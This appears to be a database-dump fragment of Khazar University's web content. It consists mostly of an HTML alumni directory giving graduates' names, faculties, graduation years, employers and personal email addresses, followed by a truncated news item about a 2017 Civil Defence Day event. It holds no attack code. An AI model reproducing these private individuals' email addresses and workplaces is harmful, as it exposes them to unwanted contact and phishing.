margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şamil Əhmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:s-ahmedov@mail.ru\">s-ahmedov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şəmsi Qədirli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Qəbələ turizm və məlumat mərkəzi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamsiqadirli@gmail.com\">shamsiqadirli@gmail.com</a>&nbsp;</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şəbnəm Kəngərli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:underpull@hotmail.com\">underpull@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"T\" style=\"font-weight:bold\"><strong>T</strong></h3><p><strong>Tural Bayramlı <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:turalb93@gmail.com\">turalb93[at]gmail.com</a> </p>\r\n<p>MET-AK MMC</p>\r\n<p><strong><br></strong></p><p><strong>Toğrul Xəlilov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: toghrul.khalilov[at]gmail.com</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Türkel Bədəlov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:turkelb77@gmail.com\">turkelb77[at]gmail.com</a> </p>\r\n<p>RSM Azerbaijan, Audit assistant</p>\r\n<p><strong><br></strong></p><p><strong>Türkan&nbsp;</strong><strong>Kərimova&nbsp;&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Marketinq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:turkan_ibrahimli@list.ru\">turkan_ibrahimli[at]list.ru</a> </p>\r\n<p>SIGMA ENERGY MARINE FZE shirketinin Azerbaycan Respublikasindaki filiali</p>\r\n<p><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tacəddin Həsənov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Taceddin.hasanov@gmail.com\">Taceddin.hasanov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Ağayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:tural1988-88@mail.ru\">tural1988-88@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Təvəkkül Sadıqov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:tavakkul@inbox.ru\">tavakkul@inbox.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Nikoil Commercial Investment Bank, Hesabat və statistika şöbəsinin\r\nmüdiri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:babayev.tural@gmail.com\">babayev.tural@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turana Mustafayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:turana.mustafayeva@hotmail.com\">turana.mustafayeva@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural&nbsp;Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit\r\n&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP, Financial Analyst</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mammadov_tural@yahoo.com\">mammadov_tural@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Telli Əhmədova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bank işi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:ahmadova_t@mail.ru\">ahmadova_t@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Qasımlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gasimli000@gmail.com\">gasimli000@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:gasimli000@gmail.com\"></a>Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turqut Əzizov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:turqut.ezizov@khazar.org\">turqut.ezizov@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Taleh Fətəliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:taleh_feteliyev@mail.ru\">taleh_feteliyev@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><strong style=\"font-weight:bold\"><h3 id=\"U\">U</h3></strong><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Uğur Eminli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Ü\" style=\"font-weight:bold\"><strong><strong>Ü</strong></strong></h3><p><strong>Ülviyyə Musayeva <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Ulya.musayeva77@gmail.com\">Ulya.musayeva77[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Ülviyyə Muxtarlı </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ulviyyami@yandex.ru\">ulviyyami[at]yandex.ru</a> </p>\r\n<p>Central asia Business Consultants\r\n(CABC)</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Ülviyyə Mustafayeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq İqtisadi Münasibətlər,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:mustafayevau@list.ru\">mustafayevau[at]list.ru</a> </p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ülviyyə&nbsp;Paşayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Ulviyyap2004@yahoo.com\">Ulviyyap2004@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"V\" style=\"font-weight:bold\"><strong>V</strong></h3><p><strong>Vüqar Vəliyev <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:hyugavv@hotmail.com\">hyugavv[at]hotmail.com</a></p><p><strong><br></strong></p><p><strong>Valeriya Aqanina</strong></p>\r\n<p>İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:valeria10019@gmail.com\">valeria10019[at]gmail.com</a></p>\r\n<p>ABC Telecom MMC</p><p><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüqar Balayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:vugar.balayev@yahoo.com\">vugar.balayev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüsal İbrahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vuqar İmaniyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüqar Ömərov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Global Trading Company LLC/</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:vugar.omarov@gmail.com\">vugar.omarov@gmail.com</a>&nbsp;,<a href=\"mailto:vugar.omarov@akkord.az\">vugar.omarov@akkord.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2006</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vəfa Əlizadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Dəmirbank/Müştəri xidmətləri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:vafa.alizadeh@yahoo.com\">vafa.alizadeh@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüsal İbrahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüqar Şirinov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sirinovvuqar@gmail.com\">sirinovvuqar@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüqar Ələkbərli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:vumammadzada@deloitte.lu\">vumammadzada@deloitte.lu</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüsal Məmmədzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Baş məsləhətçi/İnformasiya və Texnologiya\r\nRiski</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Deloitte Tax &amp; Consulting, Luksemburg</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3><strong>Y</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yaşar&nbsp;Həsənov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP\r\nExploration (Caspian Sea) LTD, Baş icraçı</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:hassym@bp.com\">hassym@bp.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Yelmar Əşrəfov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Management</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Yelmar_ashrafov@mail.ru\">Yelmar_ashrafov@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Z\" style=\"font-weight:bold\"><strong>Z</strong></h3><p><strong>Zaur Hafizov <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Hafizov919@gmail.com\">Hafizov919[at]gmail.com</a></p>\r\n<p>Gold Fitness, Personal Fitness\r\nTrainer&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zaur&nbsp;Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zaur.mammadov@yahoo.com\">zaur.mammadov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zeynəb Səfərova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeyneb.safarova93@gmail.com\">zeyneb.safarova93@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><strong>&nbsp;</strong><strong>Zəhra Axundova</strong><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasiba uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zarita189@gmail.com\">zarita189@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ziya Əlili&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:ziya.alili@gmail.com\">ziya.alili@gmail.com</a>&nbsp;;&nbsp;<a href=\"mailto:aliliz@ebrd.com\">aliliz@ebrd.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zöhrab Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Euro Audit Company, auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:m.zohrab@mail.ru\">m.zohrab@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zaur Əmirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zaur_amirov@hotmail.com\">zaur_amirov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p>'),(3303,1940,'az','Xəzər Universitetində Ümumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçirildi','2017-ci il fevralın 28-də Xəzər Universitetində müəllim və tələbələrin iştirakı ilə 1 Mart –Ümumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçirildi. Tədbirdə ehtiyatda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il fevralın 28-də Xəzər\r\nUniversitetində müəllim və tələbələrin iştirakı ilə 1 Mart –Ümumdünya Mülki\r\nMüdafiə Gününə həsr edilmiş tədbir keçirildi. Tədbirdə ehtiyatda olan\r\npolkovnik-leytenant Mayis Talışxanov, Xəzər Universitetinin əməkdaşları Dr.İradə\r\nXəlilova, Dr.Elnurə Əzizova və Pərvanə Baxşəliyeva iştirak etdilər. Xəzər\r\nUniversitetinin əməkdaşı və ehtiyatda olan polkovnik-leytenant Mayis Talışxanov\r\ntədbiri açdı və bir dəqiqəlik sükutla Xocalı şəhidləri yad edildi. Bundan sonra,\r\no, tələbələrə mülki müdafiə haqda və fövqəladə hallar haqqında ümumi məlumat verdi.\r\nÜmumdünya Mülki Müdafiə Günü hər il bir mövzuya həsr edilir. Bu il isə bu tədbir\r\n“Mülki müdafiənin fəlakətlərə qarşı mübarizədə rolu” mövzusuna həsr edilmişdir.\r\nTələbələr Ümumdünya Mülki Müdafiə təşkilatı, yeni texnologiyalar və onların tədbiqi\r\nhaqda məlumat verdilər, ilk tibbi yardım zamanı süni tənəffüsün verilməsi və ürəyin\r\nqapalı massajını nümayiş etdirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonra Azərbaycanda fövqəladə hallar və\r\nmülki müdafiə hazırlığı haqqında qısa video film nümayiş etdirildi.</p>'),(3304,1941,'az','“Potensial məktəb direktorları” layihəsi çərçivəsində 5-ci “Məzunluq 